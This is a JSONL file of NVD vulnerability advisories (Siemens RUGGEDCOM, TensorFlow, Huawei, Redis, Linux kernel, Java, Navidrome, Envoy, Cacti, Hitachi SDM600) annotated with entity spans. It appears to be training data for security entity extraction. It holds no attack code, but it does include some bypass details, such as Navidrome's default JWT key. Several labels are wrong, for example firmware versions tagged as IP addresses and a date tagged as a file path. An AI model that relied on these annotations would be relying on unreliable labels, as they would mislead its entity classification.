{"text": "A vulnerability has been identified in RUGGEDCOM RMC8388 V5.X (All versions < V5.10.1), RUGGEDCOM RS416Pv2 V5.X (All versions < V5.10.1), RUGGEDCOM RS416v2 V5.X (All versions < V5.10.1), RUGGEDCOM RS900 (32M) V5.X (All versions < V5.10.1), RUGGEDCOM RS900G (32M) V5.X (All versions < V5.10.1), RUGGEDCOM RSG2100 (32M) V5.X (All versions < V5.10.1), RUGGEDCOM RSG2100P (32M) V5.X (All versions < V5.10.1), RUGGEDCOM RSG2288 V5.X (All versions < V5.10.1), RUGGEDCOM RSG2300 V5.X (All versions < V5.10.1), RUGGEDCOM RSG2300P V5.X (All versions < V5.10.1), RUGGEDCOM RSG2488 V5.X (All versions < V5.10.1), RUGGEDCOM RSG907R (All versions < V5.10.1), RUGGEDCOM RSG908C (All versions < V5.10.1), RUGGEDCOM RSG909R (All versions < V5.10.1), RUGGEDCOM RSG910C (All versions < V5.10.1), RUGGEDCOM RSG920P V5.X (All versions < V5.10.1), RUGGEDCOM RSL910 (All versions < V5.10.1), RUGGEDCOM RST2228 (All versions < V5.10.1), RUGGEDCOM RST2228P (All versions < V5.10.1), RUGGEDCOM RST916C (All versions < V5.10.1), RUGGEDCOM RST916P (All versions < V5.10.1). Affected devices do not properly validate input during the TLS certificate upload process of the web service. This could allow an authenticated remote attacker to trigger a device crash and reboot, leading to a temporary Denial of Service on the device.", "spans": {"VULNERABILITY: Denial of Service": [[1268, 1285]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40935"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Calling `tf.raw_ops.ImmutableConst`(https://www.tensorflow.org/api_docs/python/tf/raw_ops/ImmutableConst) with a `dtype` of `tf.resource` or `tf.variant` results in a segfault in the implementation as code assumes that the tensor contents are pure scalars. We have patched the issue in 4f663d4b8f0bec1b48da6fa091a7d29609980fa4 and will release TensorFlow 2.5.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved. If using `tf.raw_ops.ImmutableConst` in code, you can prevent the segfault by inserting a filter for the `dtype` argument.", "spans": {"URL: https://www.tensorflow.org/api_docs/python/tf/raw_ops/ImmutableConst": [[107, 175]], "HASH: 4f663d4b8f0bec1b48da6fa091a7d29609980fa4": [[357, 397]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29539"}}
{"text": "There is a path traversal vulnerability in some Huawei products. The vulnerability is due to that the software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly validate the pathname. Successful exploit could allow the attacker to access a location that is outside of the restricted directory by a crafted filename. Affected product versions include:HUAWEI Mate 20 9.0.0.195(C01E195R2P1), 9.1.0.139(C00E133R3P1);HUAWEI Mate 20 Pro 9.0.0.187(C432E10R1P16), 9.0.0.188(C185E10R2P1), 9.0.0.245(C10E10R2P1), 9.0.0.266(C432E10R1P16), 9.0.0.267(C636E10R2P1), 9.0.0.268(C635E12R1P16), 9.0.0.278(C185E10R2P1); Hima-L29C 9.0.0.105(C10E9R1P16), 9.0.0.105(C185E9R1P16), 9.0.0.105(C636E9R1P16); Laya-AL00EP 9.1.0.139(C786E133R3P1); OxfordS-AN00A 10.1.0.223(C00E210R5P1); Tony-AL00B 9.1.0.257(C00E222R2P1).", "spans": {"IP_ADDRESS: 9.0.0.195": [[501, 510]], "IP_ADDRESS: 9.1.0.139": [[525, 534], [830, 839]], "IP_ADDRESS: 9.0.0.187": [[567, 576]], "IP_ADDRESS: 9.0.0.188": [[592, 601]], "IP_ADDRESS: 9.0.0.245": [[616, 625]], "IP_ADDRESS: 9.0.0.266": [[639, 648]], "IP_ADDRESS: 9.0.0.267": [[664, 673]], "IP_ADDRESS: 9.0.0.268": [[688, 697]], "IP_ADDRESS: 9.0.0.278": [[713, 722]], "IP_ADDRESS: 9.0.0.105": [[747, 756], [770, 779], [794, 803]], "IP_ADDRESS: 10.1.0.223": [[869, 879]], "IP_ADDRESS: 9.1.0.257": [[905, 914]], "ORGANIZATION: Huawei": [[48, 54]], "VULNERABILITY: path traversal": [[11, 25]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-22440"}}
{"text": "Redis is an open source, in-memory database that persists on disk. The redis-cli command line tool and redis-sentinel service may be vulnerable to integer overflow when parsing specially crafted large multi-bulk network replies. This is a result of a vulnerability in the underlying hiredis library which does not perform an overflow check before calling the calloc() heap allocation function. This issue only impacts systems with heap allocators that do not perform their own overflow checks. Most modern systems do and are therefore not likely to be affected. Furthermore, by default redis-sentinel uses the jemalloc allocator which is also not vulnerable. The problem is fixed in Redis versions 6.2.6, 6.0.16 and 5.0.14.", "spans": {"SYSTEM: Redis": [[0, 5], [683, 688]], "VULNERABILITY: integer overflow": [[147, 163]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32762"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: dev: can_get_echo_skb(): prevent call to kfree_skb() in hard IRQ context\n\nIf a driver calls can_get_echo_skb() during a hardware IRQ (which is often, but\nnot always, the case), the 'WARN_ON(in_irq)' in\nnet/core/skbuff.c#skb_release_head_state() might be triggered, under network\ncongestion circumstances, together with the potential risk of a NULL pointer\ndereference.\n\nThe root cause of this issue is the call to kfree_skb() instead of\ndev_kfree_skb_irq() in net/core/dev.c#enqueue_to_backlog().\n\nThis patch prevents the skb to be freed within the call to netif_rx() by\nincrementing its reference count with skb_get(). The skb is finally freed by\none of the in-irq-context safe functions: dev_consume_skb_any() or\ndev_kfree_skb_any(). The \"any\" version is used because some drivers might call\ncan_get_echo_skb() in a normal context.\n\nThe reason for this issue to occur is that initially, in the core network\nstack, loopback skb were not supposed to be received in hardware IRQ context.\nThe CAN stack is an exeption.\n\nThis bug was previously reported back in 2017 in [1] but the proposed patch\nnever got accepted.\n\nWhile [1] directly modifies net/core/dev.c, we try to propose here a\nsmoother modification local to CAN network stack (the assumption\nbehind is that only CAN devices are affected by this issue).\n\n[1] http://lore.kernel.org/r/57a3ffb6-3309-3ad5-5a34-e93c3fe3614d@cetitec.com", "spans": {"URL: http://lore.kernel.org/r/57a3ffb6-3309-3ad5-5a34-e93c3fe3614d@cetitec.com": [[1389, 1462]], "FILEPATH: /core/skbuff.c": [[279, 293]], "FILEPATH: /core/dev.c": [[537, 548], [1220, 1231]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36789"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkcm: close race conditions on sk_receive_queue\n\nsk->sk_receive_queue is protected by skb queue lock, but for KCM\nsockets its RX path takes mux->rx_lock to protect more than just\nskb queue. However, kcm_recvmsg() still only grabs the skb queue\nlock, so race conditions still exist.\n\nWe can teach kcm_recvmsg() to grab mux->rx_lock too but this would\nintroduce a potential performance regression as struct kcm_mux can\nbe shared by multiple KCM sockets.\n\nSo we have to enforce skb queue lock in requeue_rx_msgs() and handle\nskb peek case carefully in kcm_wait_data(). Fortunately,\nskb_recv_datagram() already handles it nicely and is widely used by\nother sockets, we can just switch to skb_recv_datagram() after\ngetting rid of the unnecessary sock lock in kcm_recvmsg() and\nkcm_splice_read(). Side note: SOCK_DONE is not used by KCM sockets,\nso it is safe to get rid of this check too.\n\nI ran the original syzbot reproducer for 30 min without seeing any\nissue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49814"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntty: fix deadlock caused by calling printk() under tty_port->lock\n\npty_write() invokes kmalloc() which may invoke a normal printk() to print\nfailure message.  This can cause a deadlock in the scenario reported by\nsyz-bot below:\n\n       CPU0              CPU1                    CPU2\n       ----              ----                    ----\n                         lock(console_owner);\n                                                 lock(&port_lock_key);\n  lock(&port->lock);\n                         lock(&port_lock_key);\n                                                 lock(&port->lock);\n  lock(console_owner);\n\nAs commit dbdda842fe96 (\"printk: Add console owner and waiter logic to\nload balance console writes\") said, such deadlock can be prevented by\nusing printk_deferred() in kmalloc() (which is invoked in the section\nguarded by the port->lock).  But there are too many printk() on the\nkmalloc() path, and kmalloc() can be called from anywhere, so changing\nprintk() to printk_deferred() is too complicated and inelegant.\n\nTherefore, this patch chooses to specify __GFP_NOWARN to kmalloc(), so\nthat printk() will not be called, and this deadlock problem can be\navoided.\n\nSyzbot reported the following lockdep error:\n\n======================================================\nWARNING: possible circular locking dependency detected\n5.4.143-00237-g08ccc19a-dirty #10 Not tainted\n------------------------------------------------------\nsyz-executor.4/29420 is trying to acquire lock:\nffffffff8aedb2a0 (console_owner){....}-{0:0}, at: console_trylock_spinning kernel/printk/printk.c:1752 [inline]\nffffffff8aedb2a0 (console_owner){....}-{0:0}, at: vprintk_emit+0x2ca/0x470 kernel/printk/printk.c:2023\n\nbut task is already holding lock:\nffff8880119c9158 (&port->lock){-.-.}-{2:2}, at: pty_write+0xf4/0x1f0 drivers/tty/pty.c:120\n\nwhich lock already depends on the new lock.\n\nthe existing dependency chain (in reverse order) is:\n\n-> #2 (&port->lock){-.-.}-{2:2}:\n       __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]\n       _raw_spin_lock_irqsave+0x35/0x50 kernel/locking/spinlock.c:159\n       tty_port_tty_get drivers/tty/tty_port.c:288 [inline]          \t\t<-- lock(&port->lock);\n       tty_port_default_wakeup+0x1d/0xb0 drivers/tty/tty_port.c:47\n       serial8250_tx_chars+0x530/0xa80 drivers/tty/serial/8250/8250_port.c:1767\n       serial8250_handle_irq.part.0+0x31f/0x3d0 drivers/tty/serial/8250/8250_port.c:1854\n       serial8250_handle_irq drivers/tty/serial/8250/8250_port.c:1827 [inline] \t<-- lock(&port_lock_key);\n       serial8250_default_handle_irq+0xb2/0x220 drivers/tty/serial/8250/8250_port.c:1870\n       serial8250_interrupt+0xfd/0x200 drivers/tty/serial/8250/8250_core.c:126\n       __handle_irq_event_percpu+0x109/0xa50 kernel/irq/handle.c:156\n       [...]\n\n-> #1 (&port_lock_key){-.-.}-{2:2}:\n       __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]\n       _raw_spin_lock_irqsave+0x35/0x50 kernel/locking/spinlock.c:159\n       serial8250_console_write+0x184/0xa40 drivers/tty/serial/8250/8250_port.c:3198\n\t\t\t\t\t\t\t\t\t\t<-- lock(&port_lock_key);\n       call_console_drivers kernel/printk/printk.c:1819 [inline]\n       console_unlock+0x8cb/0xd00 kernel/printk/printk.c:2504\n       vprintk_emit+0x1b5/0x470 kernel/printk/printk.c:2024\t\t\t<-- lock(console_owner);\n       vprintk_func+0x8d/0x250 kernel/printk/printk_safe.c:394\n       printk+0xba/0xed kernel/printk/printk.c:2084\n       register_console+0x8b3/0xc10 kernel/printk/printk.c:2829\n       univ8250_console_init+0x3a/0x46 drivers/tty/serial/8250/8250_core.c:681\n       console_init+0x49d/0x6d3 kernel/printk/printk.c:2915\n       start_kernel+0x5e9/0x879 init/main.c:713\n       secondary_startup_64+0xa4/0xb0 arch/x86/kernel/head_64.S:241\n\n-> #0 (console_owner){....}-{0:0}:\n       [...]\n       lock_acquire+0x127/0x340 kernel/locking/lockdep.c:4734\n       console_trylock_spinning kernel/printk/printk.c:1773 \n---truncated---", "spans": {"FILEPATH: /printk/printk.c": [[1632, 1648], [1744, 1760], [3197, 3213], [3268, 3284], [3328, 3344], [3470, 3486], [3534, 3550], [3673, 3689], [3960, 3976]], "FILEPATH: /tty/pty.c": [[1877, 1887]], "FILEPATH: /linux/spinlock_api_smp.h": [[2063, 2088], [2933, 2958]], "FILEPATH: /locking/spinlock.c": [[2148, 2167], [3018, 3037]], "FILEPATH: /tty/tty_port.c": [[2203, 2218], [2314, 2329]], "FILEPATH: /tty/serial/8250/8250_port.c": [[2379, 2407], [2468, 2496], [2538, 2566], [2663, 2691], [3093, 3121]], "FILEPATH: /tty/serial/8250/8250_core.c": [[2743, 2771], [3602, 3630]], "FILEPATH: /irq/handle.c": [[2827, 2840]], "FILEPATH: /printk/printk_safe.c": [[3414, 3435]], "FILEPATH: /x86/kernel/head_64.S": [[3785, 3806]], "FILEPATH: /locking/lockdep.c": [[3898, 3916]], "FILEPATH: main.c": [[3732, 3738]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49441"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21, 17.0.9, 21.0.1; Oracle GraalVM for JDK: 17.0.9, 21.0.1; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and  22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [192, 196], [480, 484], [691, 695], [856, 860], [1120, 1124], [1177, 1181], [1218, 1222], [1323, 1327]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [185, 191], [245, 251], [285, 291], [473, 479], [489, 495], [513, 519], [684, 690], [700, 706], [724, 730], [849, 855], [865, 871], [889, 895]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-20918"}}
{"text": "Navidrome is an open source web-based music collection server and streamer. A security vulnerability has been identified in navidrome's subsonic endpoint, allowing for authentication bypass. This exploit enables unauthorized access to any known account by utilizing a JSON Web Token (JWT) signed with the key \"not so secret\". The vulnerability can only be exploited on instances that have never been restarted. Navidrome supports an extension to the subsonic authentication scheme, where a JWT can be provided using a `jwt` query parameter instead of the traditional password or token and salt (corresponding to resp. the `p` or `t` and `s` query parameters). This authentication bypass vulnerability potentially affects all instances that don't protect the subsonic endpoint `/rest/`, which is expected to be most instances in a standard deployment, and most instances in the reverse proxy setup too (as the documentation mentions to leave that endpoint unprotected). This issue has been patched in version 0.50.2.", "spans": {"VULNERABILITY: authentication bypass": [[168, 189], [665, 686]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-51442"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu-tasks: Avoid pr_info() with spin lock in cblist_init_generic()\n\npr_info() is called with rtp->cbs_gbl_lock spin lock locked.  Because\npr_info() calls printk() that might sleep, this will result in BUG\nlike below:\n\n[    0.206455] cblist_init_generic: Setting adjustable number of callback queues.\n[    0.206463]\n[    0.206464] =============================\n[    0.206464] [ BUG: Invalid wait context ]\n[    0.206465] 5.19.0-00428-g9de1f9c8ca51 #5 Not tainted\n[    0.206466] -----------------------------\n[    0.206466] swapper/0/1 is trying to lock:\n[    0.206467] ffffffffa0167a58 (&port_lock_key){....}-{3:3}, at: serial8250_console_write+0x327/0x4a0\n[    0.206473] other info that might help us debug this:\n[    0.206473] context-{5:5}\n[    0.206474] 3 locks held by swapper/0/1:\n[    0.206474]  #0: ffffffff9eb597e0 (rcu_tasks.cbs_gbl_lock){....}-{2:2}, at: cblist_init_generic.constprop.0+0x14/0x1f0\n[    0.206478]  #1: ffffffff9eb579c0 (console_lock){+.+.}-{0:0}, at: _printk+0x63/0x7e\n[    0.206482]  #2: ffffffff9ea77780 (console_owner){....}-{0:0}, at: console_emit_next_record.constprop.0+0x111/0x330\n[    0.206485] stack backtrace:\n[    0.206486] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.19.0-00428-g9de1f9c8ca51 #5\n[    0.206488] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-1.fc36 04/01/2014\n[    0.206489] Call Trace:\n[    0.206490]  <TASK>\n[    0.206491]  dump_stack_lvl+0x6a/0x9f\n[    0.206493]  __lock_acquire.cold+0x2d7/0x2fe\n[    0.206496]  ? stack_trace_save+0x46/0x70\n[    0.206497]  lock_acquire+0xd1/0x2f0\n[    0.206499]  ? serial8250_console_write+0x327/0x4a0\n[    0.206500]  ? __lock_acquire+0x5c7/0x2720\n[    0.206502]  _raw_spin_lock_irqsave+0x3d/0x90\n[    0.206504]  ? serial8250_console_write+0x327/0x4a0\n[    0.206506]  serial8250_console_write+0x327/0x4a0\n[    0.206508]  console_emit_next_record.constprop.0+0x180/0x330\n[    0.206511]  console_unlock+0xf7/0x1f0\n[    0.206512]  vprintk_emit+0xf7/0x330\n[    0.206514]  _printk+0x63/0x7e\n[    0.206516]  cblist_init_generic.constprop.0.cold+0x24/0x32\n[    0.206518]  rcu_init_tasks_generic+0x5/0xd9\n[    0.206522]  kernel_init_freeable+0x15b/0x2a2\n[    0.206523]  ? rest_init+0x160/0x160\n[    0.206526]  kernel_init+0x11/0x120\n[    0.206527]  ret_from_fork+0x1f/0x30\n[    0.206530]  </TASK>\n[    0.207018] cblist_init_generic: Setting shift to 1 and lim to 1.\n\nThis patch moves pr_info() so that it is called without\nrtp->cbs_gbl_lock locked.", "spans": {"FILEPATH: /0/1": [[598, 602], [849, 853]], "FILEPATH: /01/2014": [[1393, 1401]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1332, 1336]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53558"}}
{"text": "Envoy is a high-performance edge/middle/service proxy. Prior to 1.37.1, 1.36.5, 1.35.8, and 1.34.13, a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up. The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method. The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData. FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy(). This vulnerability is fixed in 1.37.1, 1.36.5, 1.35.8, and 1.34.13.", "spans": {"FILEPATH: /middle/service": [[32, 47]], "FILEPATH: /common/http/filter_manager.cc": [[435, 465]], "VULNERABILITY: Use-After-Free": [[244, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26311"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. In Cacti 1.2.24, under certain conditions, an authenticated privileged user, can use a malicious string in the SNMP options of a Device, performing command injection and obtaining remote code execution on the underlying server. The `lib/snmp.php` file has a set of functions, with similar behavior, that accept in input some variables and place them into an `exec` call without a proper escape or validation. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: snmp.php": [[316, 324]], "VULNERABILITY: remote code execution": [[259, 280]], "VULNERABILITY: command injection": [[227, 244]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39362"}}
{"text": "A vulnerability exists in the SDM600 API web services authorization validation implementation. \nAn attacker who successfully exploits the vulnerability could read data directly from a data store that is not restricted, or insufficiently protected, having access to sensitive data.\n\n\n\nThis issue affects: All SDM600 versions prior to version 1.2 FP3 HF4 (Build Nr. 1.2.23000.291)\n\n \n\nList of CPEs:\n\n\n  *  cpe:2.3:a:hitachienergy:sdm600:1.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.9002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.10002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.11002.149:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.12002.222:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.13002.72:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.44:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.92:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.108:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.182:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.257:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.342:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.447:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.481:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.506:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.14002.566:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.20000.3174:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.291:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.931:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.21000.105:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:sdm600:1.2.23000.291:*:*:*:*:*:*:*", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3683"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/memory-failure: fix VM_BUG_ON_PAGE(PagePoisoned(page)) when unpoison memory\n\nWhen I did memory failure tests, below panic occurs:\n\npage dumped because: VM_BUG_ON_PAGE(PagePoisoned(page))\nkernel BUG at include/linux/page-flags.h:616!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 3 PID: 720 Comm: bash Not tainted 6.10.0-rc1-00195-g148743902568 #40\nRIP: 0010:unpoison_memory+0x2f3/0x590\nRSP: 0018:ffffa57fc8787d60 EFLAGS: 00000246\nRAX: 0000000000000037 RBX: 0000000000000009 RCX: ffff9be25fcdc9c8\nRDX: 0000000000000000 RSI: 0000000000000027 RDI: ffff9be25fcdc9c0\nRBP: 0000000000300000 R08: ffffffffb4956f88 R09: 0000000000009ffb\nR10: 0000000000000284 R11: ffffffffb4926fa0 R12: ffffe6b00c000000\nR13: ffff9bdb453dfd00 R14: 0000000000000000 R15: fffffffffffffffe\nFS:  00007f08f04e4740(0000) GS:ffff9be25fcc0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000564787a30410 CR3: 000000010d4e2000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n unpoison_memory+0x2f3/0x590\n simple_attr_write_xsigned.constprop.0.isra.0+0xb3/0x110\n debugfs_attr_write+0x42/0x60\n full_proxy_write+0x5b/0x80\n vfs_write+0xd5/0x540\n ksys_write+0x64/0xe0\n do_syscall_64+0xb9/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f08f0314887\nRSP: 002b:00007ffece710078 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 0000000000000009 RCX: 00007f08f0314887\nRDX: 0000000000000009 RSI: 0000564787a30410 RDI: 0000000000000001\nRBP: 0000564787a30410 R08: 000000000000fefe R09: 000000007fffffff\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000009\nR13: 00007f08f041b780 R14: 00007f08f0417600 R15: 00007f08f0416a00\n </TASK>\nModules linked in: hwpoison_inject\n---[ end trace 0000000000000000 ]---\nRIP: 0010:unpoison_memory+0x2f3/0x590\nRSP: 0018:ffffa57fc8787d60 EFLAGS: 00000246\nRAX: 0000000000000037 RBX: 0000000000000009 RCX: ffff9be25fcdc9c8\nRDX: 0000000000000000 RSI: 0000000000000027 RDI: ffff9be25fcdc9c0\nRBP: 0000000000300000 R08: ffffffffb4956f88 R09: 0000000000009ffb\nR10: 0000000000000284 R11: ffffffffb4926fa0 R12: ffffe6b00c000000\nR13: ffff9bdb453dfd00 R14: 0000000000000000 R15: fffffffffffffffe\nFS:  00007f08f04e4740(0000) GS:ffff9be25fcc0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000564787a30410 CR3: 000000010d4e2000 CR4: 00000000000006f0\nKernel panic - not syncing: Fatal exception\nKernel Offset: 0x31c00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)\n---[ end Kernel panic - not syncing: Fatal exception ]---\n\nThe root cause is that unpoison_memory() tries to check the PG_HWPoison\nflags of an uninitialized page.  So VM_BUG_ON_PAGE(PagePoisoned(page)) is\ntriggered.  This can be reproduced by below steps:\n\n1.Offline memory block:\n\n echo offline > /sys/devices/system/memory/memory12/state\n\n2.Get offlined memory pfn:\n\n page-types -b n -rlN\n\n3.Write pfn to unpoison-pfn\n\n echo <pfn> > /sys/kernel/debug/hwpoison/unpoison-pfn\n\nThis scenario can be identified by pfn_to_online_page() returning NULL. \nAnd ZONE_DEVICE pages are never expected, so we can simply fail if\npfn_to_online_page() == NULL to fix the bug.", "spans": {"FILEPATH: /linux/page-flags.h": [[280, 299]], "FILEPATH: /sys/devices/system/memory/memory12/state": [[2872, 2913]], "FILEPATH: /sys/kernel/debug/hwpoison/unpoison-pfn": [[3009, 3048]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39883"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: do not start relocation until in progress drops are done\n\nWe hit a bug with a recovering relocation on mount for one of our file\nsystems in production.  I reproduced this locally by injecting errors\ninto snapshot delete with balance running at the same time.  This\npresented as an error while looking up an extent item\n\n  WARNING: CPU: 5 PID: 1501 at fs/btrfs/extent-tree.c:866 lookup_inline_extent_backref+0x647/0x680\n  CPU: 5 PID: 1501 Comm: btrfs-balance Not tainted 5.16.0-rc8+ #8\n  RIP: 0010:lookup_inline_extent_backref+0x647/0x680\n  RSP: 0018:ffffae0a023ab960 EFLAGS: 00010202\n  RAX: 0000000000000001 RBX: 0000000000000000 RCX: 0000000000000000\n  RDX: 0000000000000000 RSI: 000000000000000c RDI: 0000000000000000\n  RBP: ffff943fd2a39b60 R08: 0000000000000000 R09: 0000000000000001\n  R10: 0001434088152de0 R11: 0000000000000000 R12: 0000000001d05000\n  R13: ffff943fd2a39b60 R14: ffff943fdb96f2a0 R15: ffff9442fc923000\n  FS:  0000000000000000(0000) GS:ffff944e9eb40000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f1157b1fca8 CR3: 000000010f092000 CR4: 0000000000350ee0\n  Call Trace:\n   <TASK>\n   insert_inline_extent_backref+0x46/0xd0\n   __btrfs_inc_extent_ref.isra.0+0x5f/0x200\n   ? btrfs_merge_delayed_refs+0x164/0x190\n   __btrfs_run_delayed_refs+0x561/0xfa0\n   ? btrfs_search_slot+0x7b4/0xb30\n   ? btrfs_update_root+0x1a9/0x2c0\n   btrfs_run_delayed_refs+0x73/0x1f0\n   ? btrfs_update_root+0x1a9/0x2c0\n   btrfs_commit_transaction+0x50/0xa50\n   ? btrfs_update_reloc_root+0x122/0x220\n   prepare_to_merge+0x29f/0x320\n   relocate_block_group+0x2b8/0x550\n   btrfs_relocate_block_group+0x1a6/0x350\n   btrfs_relocate_chunk+0x27/0xe0\n   btrfs_balance+0x777/0xe60\n   balance_kthread+0x35/0x50\n   ? btrfs_balance+0xe60/0xe60\n   kthread+0x16b/0x190\n   ? set_kthread_struct+0x40/0x40\n   ret_from_fork+0x22/0x30\n   </TASK>\n\nNormally snapshot deletion and relocation are excluded from running at\nthe same time by the fs_info->cleaner_mutex.  However if we had a\npending balance waiting to get the ->cleaner_mutex, and a snapshot\ndeletion was running, and then the box crashed, we would come up in a\nstate where we have a half deleted snapshot.\n\nAgain, in the normal case the snapshot deletion needs to complete before\nrelocation can start, but in this case relocation could very well start\nbefore the snapshot deletion completes, as we simply add the root to the\ndead roots list and wait for the next time the cleaner runs to clean up\nthe snapshot.\n\nFix this by setting a bit on the fs_info if we have any DEAD_ROOT's that\nhad a pending drop_progress key.  If they do then we know we were in the\nmiddle of the drop operation and set a flag on the fs_info.  Then\nbalance can wait until this flag is cleared to start up again.\n\nIf there are DEAD_ROOT's that don't have a drop_progress set then we're\nsafe to start balance right away as we'll be properly protected by the\ncleaner_mutex.", "spans": {"FILEPATH: /btrfs/extent-tree.c": [[429, 449]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48901"}}
